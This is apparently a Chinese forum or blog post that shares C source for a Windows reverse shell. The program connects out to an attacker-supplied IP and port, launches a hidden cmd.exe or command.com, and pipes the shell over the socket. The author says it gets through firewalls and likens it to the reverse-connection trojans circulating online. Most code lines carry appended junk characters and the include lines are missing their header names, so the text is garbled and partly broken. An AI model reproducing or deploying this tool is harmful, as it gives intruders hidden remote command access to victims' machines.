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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R}T\<6Y  
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/* ============================== qj:\ )#I  
Rebound port in Windows NT A40Q~X  
By wind,2006/7 [Nv)37|W  
===============================*/ H*E4+3y  
#include ..;ep2jSs  
#include s_4y^w]aX  
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#pragma comment(lib,"wsock32.lib") ),5|Ves;t[  
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void OutputShell(); L.Tu7+M4  
SOCKET sClient; ]%eyrbU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %[WOQ.Sh  
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void main(int argc,char **argv) kX "*kD  
{ ?G<.W[3  
WSADATA stWsaData; 49-wFF  
int nRet; N-YCOSUu  
SOCKADDR_IN stSaiClient,stSaiServer; \Y^GA;AMQQ  
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if(argc != 3) ~U+W4%f8  
{ e!oL!Zg  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]*TW%mY  
return; |"i"8~/@<  
} 0@/C5 v  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 82KWe=  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <RJ+f-  
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stSaiClient.sin_family = AF_INET; &h'NC%"v  
stSaiClient.sin_port = htons(0); M~P h/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5nS}h76mZ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y[. f`Ei2  
{ o|Kd\<rY  
printf("Bind Socket Failed!\n"); o[B"J96b  
return; \%Lj !\  
} `9mc+  
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stSaiServer.sin_family = AF_INET; *^i"q\n5(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1HBWOV7z.?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bEB9J- Q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8 Az|SJ<  
{ {Y1&GO;  
printf("Connect Error!"); I]6,hygs  
return; vpz l{  
} D8\9nHUD`  
OutputShell(); 7g-{ <d  
} >Y=qSg>Ik  
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void OutputShell() v{pW/Fu~  
{ Eu2(#z 6eW  
char szBuff[1024]; &}!AjA)  
SECURITY_ATTRIBUTES stSecurityAttributes; LX{mr{  
OSVERSIONINFO stOsversionInfo; uxbLoE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K:b^@>XH  
STARTUPINFO stStartupInfo; }.r)  
char *szShell; dfWtLY  
PROCESS_INFORMATION stProcessInformation; UY^TTRrH  
unsigned long lBytesRead; ;"JgNad  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k%?qN,Cl  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rAh|r}R  
stSecurityAttributes.lpSecurityDescriptor = 0; z C 7b  
stSecurityAttributes.bInheritHandle = TRUE; 7}puj%JS /  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9v?rNJs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }#phNn6  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :4[_&]H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qt.|YB8  
stStartupInfo.wShowWindow = SW_HIDE; |>Pz#DCy  
stStartupInfo.hStdInput = hReadPipe; ZDx1v_xr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7[:?VXQ  
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GetVersionEx(&stOsversionInfo); =4 NKXP~C  
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switch(stOsversionInfo.dwPlatformId) {=6CL'_  
{ cv-;fd>'  
case 1: T$1(6<:+.  
szShell = "command.com"; -FQc_k?VF  
break; 6f)7*j~  
default: vQ8$C 3  
szShell = "cmd.exe"; j<A<\K  
break; gUH|?@f  
} @T] G5|\ok  
S2:G#%EAa  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bKk7w#y  
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send(sClient,szMsg,77,0); &Xi] 0\M)  
while(1) lm|s%  
{ m'WGK`WIm  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5h6-aQU[  
if(lBytesRead) T[kS;-x  
{ &"DD&87N%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {Zo*FZcaX  
send(sClient,szBuff,lBytesRead,0); B/dJj#  
} 9qm'qx  
else "r HPcp"m  
{ $ZlzS`XF7  
lBytesRead=recv(sClient,szBuff,1024,0); th}&|Y)T2  
if(lBytesRead<=0) break; 8=u88?Bh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \ESNfL5  
} 5MK.>3fE  
} )}@Z*.HZL  
+>Pq]{Uf1j  
return; j-zWckT{  
}
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